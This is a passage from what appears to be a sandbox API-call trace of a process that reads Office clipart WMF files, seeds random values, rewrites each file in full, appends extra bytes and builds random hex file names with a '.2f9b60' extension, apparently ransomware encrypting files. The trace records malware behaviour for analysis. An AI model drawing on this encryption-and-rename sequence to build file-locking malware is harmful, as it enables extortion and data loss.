0x1b869640 [0165.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e5f0 [0165.475] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e5f0) returned 1 [0165.476] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0165.476] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e5f0 [0165.476] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e5c0 [0165.476] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e5c0) returned 1 [0165.477] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869640) returned 1 [0165.477] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0165.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9fc70 [0165.477] sprintf (in: _Dest=0x1cd9fc70, _Format="%c%c" | out: _Dest="c3") returned 2 [0165.477] sprintf (in: _Dest=0x1cd9fc72, _Format="%c%c" | out: _Dest="95") returned 2 [0165.477] sprintf (in: _Dest=0x1cd9fc74, _Format="%c%c" | out: _Dest="60") returned 2 [0165.477] sprintf (in: _Dest=0x1cd9fc76, _Format="%c%c" | out: _Dest="de") returned 2 [0165.477] sprintf (in: _Dest=0x1cd9fc78, _Format="%c%c" | out: _Dest="7a") returned 2 [0165.477] sprintf (in: _Dest=0x1cd9fc7a, _Format="%c%c" | out: _Dest="79") returned 2 [0165.477] sprintf (in: _Dest=0x1cd9fc7c, _Format="%c%c" | out: _Dest="fa") returned 2 [0165.477] sprintf (in: _Dest=0x1cd9fc7e, _Format="%c%c" | out: _Dest="97") returned 2 [0165.477] sprintf (in: _Dest=0x1cd9fc80, _Format="%c%c" | out: _Dest="fe") returned 2 [0165.477] sprintf (in: _Dest=0x1cd9fc82, _Format="%c%c" | out: _Dest="81") returned 2 [0165.477] sprintf (in: _Dest=0x1cd9fc84, _Format="%c%c" | out: _Dest="62") returned 2 [0165.477] sprintf (in: _Dest=0x1cd9fc86, _Format="%c%c" | out: _Dest="9e") returned 2 [0165.477] sprintf (in: _Dest=0x1cd9fc88, _Format="%c%c" | out: _Dest="d4") returned 2 [0165.478] sprintf (in: _Dest=0x1cd9fc8a, _Format="%c%c" | out: _Dest="22") returned 2 [0165.478] sprintf (in: _Dest=0x1cd9fc8c, _Format="%c%c" | out: _Dest="31") returned 2 [0165.478] sprintf (in: _Dest=0x1cd9fc8e, _Format="%c%c" | out: _Dest="bf") returned 2 [0165.478] sprintf (in: _Dest=0x1cd9fc90, _Format="%c%c" | out: _Dest="fb") returned 2 [0165.478] sprintf (in: _Dest=0x1cd9fc92, _Format="%c%c" | out: _Dest="47") returned 2 [0165.478] sprintf (in: _Dest=0x1cd9fc94, _Format="%c%c" | out: _Dest="0d") returned 2 [0165.478] sprintf (in: _Dest=0x1cd9fc96, _Format="%c%c" | out: _Dest="d9") returned 2 [0165.478] sprintf (in: _Dest=0x1cd9fc98, _Format="%c%c" | out: _Dest="65") returned 2 [0165.478] sprintf (in: _Dest=0x1cd9fc9a, _Format="%c%c" | out: _Dest="58") returned 2 [0165.478] sprintf (in: _Dest=0x1cd9fc9c, _Format="%c%c" | out: _Dest="e0") returned 2 [0165.478] sprintf (in: _Dest=0x1cd9fc9e, _Format="%c%c" | out: _Dest="5a") returned 2 [0165.478] RtlInitAnsiString (in: DestinationString=0x1f70f728, SourceString="c39560de7a79fa97fe81629ed42231bffb470dd96558e05a" | out: DestinationString="c39560de7a79fa97fe81629ed42231bffb470dd96558e05a") [0165.478] RtlAnsiStringToUnicodeString (in: DestinationString=0x1f70f6f8, SourceString="c39560de7a79fa97fe81629ed42231bffb470dd96558e05a", AllocateDestinationString=1 | out: DestinationString="c39560de7a79fa97fe81629ed42231bffb470dd96558e05a") returned 0x0 [0165.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ce14ea0 [0165.479] RtlFreeAnsiString (AnsiString="c") [0165.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fc70) returned 1 [0165.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0165.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e5f0) returned 1 [0165.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce13790) returned 1 [0165.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2660) returned 1 [0165.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2690) returned 1 [0165.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2630) returned 1 [0165.481] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a990) returned 1 [0165.481] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e470) returned 1 [0165.481] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e530) returned 1 [0165.481] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e560) returned 1 [0165.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x42c30bd0 [0165.481] wcscat (in: _Dest=0x42c30bd0, _Source="c39560de7a79" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c39560de7a79") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c39560de7a79" [0165.481] wcscat (in: _Dest=0x42c30bd0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c39560de7a79.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c39560de7a79.2f9b60" [0165.481] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c39560de7a79.2f9b60", NtPathName=0x1f70f6d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c39560de7a79.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0165.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c36510 Thread: id = 1518 os_tid = 0x1a0c [0120.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf")) returned 0x20 [0122.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF", dwFileAttributes=0x20) returned 1 [0122.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1804 [0123.460] GetFileSizeEx (in: hFile=0x1804, lpFileSize=0x1fa8fca0 | out: lpFileSize=0x1fa8fca0*=3768) returned 1 [0123.460] SetFilePointerEx (in: hFile=0x1804, liDistanceToMove=0xeb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.460] ReadFile (in: hFile=0x1804, lpBuffer=0x1fa8fc20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1fa8fc68, lpOverlapped=0x0 | out: lpBuffer=0x1fa8fc20*, lpNumberOfBytesRead=0x1fa8fc68*=0x4, lpOverlapped=0x0) returned 1 [0123.568] SetFilePointerEx (in: hFile=0x1804, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af60 [0123.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f370 [0123.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e050 [0123.568] NtQuerySystemTime (in: CurrentTime=0x1fa8fb60 | out: CurrentTime=0x1fa8fb60*=132462177289570000) returned 0x0 [0123.568] RtlRandomEx (in: Seed=0x1fa8fb50 | out: Seed=0x1fa8fb50) returned 0x1f8f2d51 [0123.568] RtlRandomEx (in: Seed=0x1fa8fb50 | out: Seed=0x1fa8fb50) returned 0x56a90791 [0123.568] RtlRandomEx (in: Seed=0x1fa8fb50 | out: Seed=0x1fa8fb50) returned 0x478c0316 [0123.568] RtlRandomEx (in: Seed=0x1fa8fb50 | out: Seed=0x1fa8fb50) returned 0x6cf0caf2 [0123.568] RtlRandomEx (in: Seed=0x1fa8fb50 | out: Seed=0x1fa8fb50) returned 0x14f44c6b [0123.568] RtlRandomEx (in: Seed=0x1fa8fb50 | out: Seed=0x1fa8fb50) returned 0x493f7c42 [0123.568] RtlRandomEx (in: Seed=0x1fa8fb50 | out: Seed=0x1fa8fb50) returned 0xc067f10 [0123.569] RtlRandomEx (in: Seed=0x1fa8fb50 | out: Seed=0x1fa8fb50) returned 0x27b6ab12 [0123.569] RtlRandomEx (in: Seed=0x1fa8fb50 | out: Seed=0x1fa8fb50) returned 0x20b4d79c [0123.569] RtlRandomEx (in: Seed=0x1fa8fb50 | out: Seed=0x1fa8fb50) returned 0x27496091 [0123.569] RtlRandomEx (in: Seed=0x1fa8fb50 | out: Seed=0x1fa8fb50) returned 0x6643ffb2 [0123.569] RtlRandomEx (in: Seed=0x1fa8fb50 | out: Seed=0x1fa8fb50) returned 0x55fef0ff [0123.569] RtlRandomEx (in: Seed=0x1fa8fb50 | out: Seed=0x1fa8fb50) returned 0x3cd7358c [0123.569] RtlRandomEx (in: Seed=0x1fa8fb50 | out: Seed=0x1fa8fb50) returned 0x71355ecf [0123.569] RtlRandomEx (in: Seed=0x1fa8fb50 | out: Seed=0x1fa8fb50) returned 0x530bb9d [0123.569] RtlRandomEx (in: Seed=0x1fa8fb50 | out: Seed=0x1fa8fb50) returned 0x4a65a413 [0123.569] RtlRandomEx (in: Seed=0x1fa8fb50 | out: Seed=0x1fa8fb50) returned 0x11ad76bd [0123.569] RtlRandomEx (in: Seed=0x1fa8fb50 | out: Seed=0x1fa8fb50) returned 0x7ed89d10 [0123.569] RtlRandomEx (in: Seed=0x1fa8fb50 | out: Seed=0x1fa8fb50) returned 0x6b8468ab [0123.569] RtlRandomEx (in: Seed=0x1fa8fb50 | out: Seed=0x1fa8fb50) returned 0x681d7785 [0123.569] RtlRandomEx (in: Seed=0x1fa8fb50 | out: Seed=0x1fa8fb50) returned 0x488da18b [0123.569] RtlRandomEx (in: Seed=0x1fa8fb50 | out: Seed=0x1fa8fb50) returned 0x41cda677 [0123.569] RtlRandomEx (in: Seed=0x1fa8fb50 | out: Seed=0x1fa8fb50) returned 0x75553427 [0123.569] RtlRandomEx (in: Seed=0x1fa8fb50 | out: Seed=0x1fa8fb50) returned 0x2577848a [0123.569] RtlRandomEx (in: Seed=0x1fa8fb50 | out: Seed=0x1fa8fb50) returned 0xa3f5526 [0123.569] RtlRandomEx (in: Seed=0x1fa8fb50 | out: Seed=0x1fa8fb50) returned 0x541ce82 [0123.569] RtlRandomEx (in: Seed=0x1fa8fb50 | out: Seed=0x1fa8fb50) returned 0x37116093 [0123.569] RtlRandomEx (in: Seed=0x1fa8fb50 | out: Seed=0x1fa8fb50) returned 0x5d98ae0a [0123.569] RtlRandomEx (in: Seed=0x1fa8fb50 | out: Seed=0x1fa8fb50) returned 0x6f28c87e [0123.569] RtlRandomEx (in: Seed=0x1fa8fb50 | out: Seed=0x1fa8fb50) returned 0xa2723c0 [0123.569] RtlRandomEx (in: Seed=0x1fa8fb50 | out: Seed=0x1fa8fb50) returned 0x7943cfd7 [0123.569] RtlRandomEx (in: Seed=0x1fa8fb50 | out: Seed=0x1fa8fb50) returned 0x5f8a4b5c [0123.578] ReadFile (in: hFile=0x1804, lpBuffer=0x20477790, nNumberOfBytesToRead=0xeb8, lpNumberOfBytesRead=0x1fa8fb50, lpOverlapped=0x0 | out: lpBuffer=0x20477790*, lpNumberOfBytesRead=0x1fa8fb50*=0xeb8, lpOverlapped=0x0) returned 1 [0123.578] SetFilePointerEx (in: hFile=0x1804, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.578] WriteFile (hFile=0x1804, lpBuffer=0x2043f2a0, nNumberOfBytesToWrite=0xeb8, lpNumberOfBytesWritten=0x1fa8fb54, lpOverlapped=0x0) [0170.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1ca40 [0170.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1ca70 [0170.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1ca70) returned 1 [0170.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2043f2a0) returned 1 [0170.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20477790) returned 1 [0170.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0170.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420597e0) returned 1 [0170.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c1ca70 [0170.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420597e0 [0170.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0170.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1caa0 [0170.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1caa0) returned 1 [0170.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c1caa0 [0170.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1cad0 [0170.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1cb00 [0170.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1cb00) returned 1 [0170.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0170.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420597e0) returned 1 [0170.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x42c15050 [0170.808] SetFilePointerEx (in: hFile=0x1804, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0170.808] WriteFile (in: hFile=0x1804, lpBuffer=0x42c15050*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1fa8fc70, lpOverlapped=0x0 | out: lpBuffer=0x42c15050*, lpNumberOfBytesWritten=0x1fa8fc70*=0x10a, lpOverlapped=0x0) returned 1 [0201.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0201.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f340 [0201.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f340) returned 1 [0201.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f8740 [0201.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f340 [0201.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e080 [0201.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e080) returned 1 [0201.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0201.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7aa7a0 [0201.510] sprintf (in: _Dest=0x1b7aa7a0, _Format="%c%c" | out: _Dest="ca") returned 2 [0201.510] sprintf (in: _Dest=0x1b7aa7a2, _Format="%c%c" | out: _Dest="9d") returned 2 [0201.510] sprintf (in: _Dest=0x1b7aa7a4, _Format="%c%c" | out: _Dest="54") returned 2 [0201.510] sprintf (in: _Dest=0x1b7aa7a6, _Format="%c%c" | out: _Dest="08") returned 2 [0201.510] sprintf (in: _Dest=0x1b7aa7a8, _Format="%c%c" | out: _Dest="16") returned 2 [0201.510] sprintf (in: _Dest=0x1b7aa7aa, _Format="%c%c" | out: _Dest="b5") returned 2 [0201.510] sprintf (in: _Dest=0x1b7aa7ac, _Format="%c%c" | out: _Dest="89") returned 2 [0201.510] sprintf (in: _Dest=0x1b7aa7ae, _Format="%c%c" | out: _Dest="73") returned 2 [0201.510] sprintf (in: _Dest=0x1b7aa7b0, _Format="%c%c" | out: _Dest="e6") returned 2 [0201.510] sprintf (in: _Dest=0x1b7aa7b2, _Format="%c%c" | out: _Dest="41") returned 2 [0201.510] sprintf (in: _Dest=0x1b7aa7b4, _Format="%c%c" | out: _Dest="6c") returned 2 [0201.510] sprintf (in: _Dest=0x1b7aa7b6, _Format="%c%c" | out: _Dest="9a") returned 2 [0201.510] sprintf (in: _Dest=0x1b7aa7b8, _Format="%c%c" | out: _Dest="2c") returned 2 [0201.510] sprintf (in: _Dest=0x1b7aa7ba, _Format="%c%c" | out: _Dest="d4") returned 2 [0201.510] sprintf (in: _Dest=0x1b7aa7bc, _Format="%c%c" | out: _Dest="54") returned 2 [0201.510] sprintf (in: _Dest=0x1b7aa7be, _Format="%c%c" | out: _Dest="fe") returned 2 [0201.510] sprintf (in: _Dest=0x1b7aa7c0, _Format="%c%c" | out: _Dest="66") returned 2 [0201.510] sprintf (in: _Dest=0x1b7aa7c2, _Format="%c%c" | out: _Dest="82") returned 2 [0201.510] sprintf (in: _Dest=0x1b7aa7c4, _Format="%c%c" | out: _Dest="b1") returned 2 [0201.510] sprintf (in: _Dest=0x1b7aa7c6, _Format="%c%c" | out: _Dest="9c") returned 2 [0201.510] sprintf (in: _Dest=0x1b7aa7c8, _Format="%c%c" | out: _Dest="8a") returned 2 [0201.510] sprintf (in: _Dest=0x1b7aa7ca, _Format="%c%c" | out: _Dest="d4") returned 2 [0201.511] sprintf (in: _Dest=0x1b7aa7cc, _Format="%c%c" | out: _Dest="5f") returned 2 [0201.511] sprintf (in: _Dest=0x1b7aa7ce, _Format="%c%c" | out: _Dest="ea") returned 2 [0201.511] RtlInitAnsiString (in: DestinationString=0x1fa8fce8, SourceString="ca9d540816b58973e6416c9a2cd454fe6682b19c8ad45fea" | out: DestinationString="ca9d540816b58973e6416c9a2cd454fe6682b19c8ad45fea") [0201.511] RtlAnsiStringToUnicodeString (in: DestinationString=0x1fa8fcb8, SourceString="ca9d540816b58973e6416c9a2cd454fe6682b19c8ad45fea", AllocateDestinationString=1 | out: DestinationString="ca9d540816b58973e6416c9a2cd454fe6682b19c8ad45fea") returned 0x0 [0201.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b8646f0 [0201.511] wcscat (in: _Dest=0x43196ae0, _Source="ca9d540816b5" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ca9d540816b5") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ca9d540816b5" [0201.511] wcscat (in: _Dest=0x43196ae0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ca9d540816b5.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ca9d540816b5.2f9b60" [0201.512] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ca9d540816b5.2f9b60", NtPathName=0x1fa8fc90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ca9d540816b5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x4314b9e0 Thread: id = 1519 os_tid = 0x1a10 [0120.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf")) returned 0x20 [0122.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF", dwFileAttributes=0x20) returned 1 [0122.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x180c [0123.459] GetFileSizeEx (in: hFile=0x180c, lpFileSize=0x1ee9f7a0 | out: lpFileSize=0x1ee9f7a0*=3350) returned 1 [0123.459] SetFilePointerEx (in: hFile=0x180c, liDistanceToMove=0xd12, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.459] ReadFile (in: hFile=0x180c, lpBuffer=0x1ee9f720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1ee9f768, lpOverlapped=0x0 | out: lpBuffer=0x1ee9f720*, lpNumberOfBytesRead=0x1ee9f768*=0x4, lpOverlapped=0x0) returned 1 [0123.516] SetFilePointerEx (in: hFile=0x180c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af60 [0123.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aab0 [0123.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ee90 [0123.516] NtQuerySystemTime (in: CurrentTime=0x1ee9f660 | out: CurrentTime=0x1ee9f660*=132462177288946000) returned 0x0 [0123.516] RtlRandomEx (in: Seed=0x1ee9f650 | out: Seed=0x1ee9f650) returned 0x44da7663 [0123.516] RtlRandomEx (in: Seed=0x1ee9f650 | out: Seed=0x1ee9f650) returned 0x1a62e0e5 [0123.516] RtlRandomEx (in: Seed=0x1ee9f650 | out: Seed=0x1ee9f650) returned 0x48f83ddd [0123.516] RtlRandomEx (in: Seed=0x1ee9f650 | out: Seed=0x1ee9f650) returned 0x376fc6b6 [0123.516] RtlRandomEx (in: Seed=0x1ee9f650 | out: Seed=0x1ee9f650) returned 0x6524a612 [0123.516] RtlRandomEx (in: Seed=0x1ee9f650 | out: Seed=0x1ee9f650) returned 0x3a8ce497 [0123.516] RtlRandomEx (in: Seed=0x1ee9f650 | out: Seed=0x1ee9f650) returned 0x1bbbceff [0123.517] RtlRandomEx (in: Seed=0x1ee9f650 | out: Seed=0x1ee9f650) returned 0x19e8b3dc [0123.517] RtlRandomEx (in: Seed=0x1ee9f650 | out: Seed=0x1ee9f650) returned 0x7e0aab9f [0123.517] RtlRandomEx (in: Seed=0x1ee9f650 | out: Seed=0x1ee9f650) returned 0x88a71c8 [0123.517] RtlRandomEx (in: Seed=0x1ee9f650 | out: Seed=0x1ee9f650) returned 0xcff8880 [0123.517] RtlRandomEx (in: Seed=0x1ee9f650 | out: Seed=0x1ee9f650) returned 0x629fce21 [0123.517] RtlRandomEx (in: Seed=0x1ee9f650 | out: Seed=0x1ee9f650) returned 0x559c9391 [0123.517] RtlRandomEx (in: Seed=0x1ee9f650 | out: Seed=0x1ee9f650) returned 0x635c4919 [0123.517] RtlRandomEx (in: Seed=0x1ee9f650 | out: Seed=0x1ee9f650) returned 0x7e4c6185 [0123.517] RtlRandomEx (in: Seed=0x1ee9f650 | out: Seed=0x1ee9f650) returned 0x496ea056 [0123.517] RtlRandomEx (in: Seed=0x1ee9f650 | out: Seed=0x1ee9f650) returned 0xee1ab1c [0123.517] RtlRandomEx (in: Seed=0x1ee9f650 | out: Seed=0x1ee9f650) returned 0x2cf2455d [0123.517] RtlRandomEx (in: Seed=0x1ee9f650 | out: Seed=0x1ee9f650) returned 0x636c5271 [0123.517] RtlRandomEx (in: Seed=0x1ee9f650 | out: Seed=0x1ee9f650) returned 0x247dd9f6 [0123.517] RtlRandomEx (in: Seed=0x1ee9f650 | out: Seed=0x1ee9f650) returned 0x40ff71b4 [0123.517] RtlRandomEx (in: Seed=0x1ee9f650 | out: Seed=0x1ee9f650) returned 0x950e800 [0123.517] RtlRandomEx (in: Seed=0x1ee9f650 | out: Seed=0x1ee9f650) returned 0x5b044009 [0123.517] RtlRandomEx (in: Seed=0x1ee9f650 | out: Seed=0x1ee9f650) returned 0x4f380531 [0123.517] RtlRandomEx (in: Seed=0x1ee9f650 | out: Seed=0x1ee9f650) returned 0x3cf0cff4 [0123.517] RtlRandomEx (in: Seed=0x1ee9f650 | out: Seed=0x1ee9f650) returned 0x56f71f33 [0123.517] RtlRandomEx (in: Seed=0x1ee9f650 | out: Seed=0x1ee9f650) returned 0x50bde041 [0123.517] RtlRandomEx (in: Seed=0x1ee9f650 | out: Seed=0x1ee9f650) returned 0x17a17eab [0123.517] RtlRandomEx (in: Seed=0x1ee9f650 | out: Seed=0x1ee9f650) returned 0x1bffd259 [0123.517] RtlRandomEx (in: Seed=0x1ee9f650 | out: Seed=0x1ee9f650) returned 0x6150ad05 [0123.517] RtlRandomEx (in: Seed=0x1ee9f650 | out: Seed=0x1ee9f650) returned 0x60c0df57 [0123.517] RtlRandomEx (in: Seed=0x1ee9f650 | out: Seed=0x1ee9f650) returned 0x297782e0 [0123.525] ReadFile (in: hFile=0x180c, lpBuffer=0x2048a6d0, nNumberOfBytesToRead=0xd16, lpNumberOfBytesRead=0x1ee9f650, lpOverlapped=0x0 | out: lpBuffer=0x2048a6d0*, lpNumberOfBytesRead=0x1ee9f650*=0xd16, lpOverlapped=0x0) returned 1 [0123.525] SetFilePointerEx (in: hFile=0x180c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.525] WriteFile (hFile=0x180c, lpBuffer=0x204a0f30, nNumberOfBytesToWrite=0xd16, lpNumberOfBytesWritten=0x1ee9f654, lpOverlapped=0x0) [0172.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3ac0 [0172.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3d60 [0172.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3d60) returned 1 [0172.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204a0f30) returned 1 [0172.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2048a6d0) returned 1 [0172.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505110) returned 1 [0172.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059470) returned 1 [0172.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x422f3d60 [0172.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059470 [0172.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505110 [0172.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3d30 [0172.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3d30) returned 1 [0172.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x422f3d30 [0172.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3b20 [0172.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3af0 [0172.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3af0) returned 1 [0172.992] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505110) returned 1 [0172.992] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059470) returned 1 [0172.992] RtlAllocateHeap (HeapHandle=0xa0000, 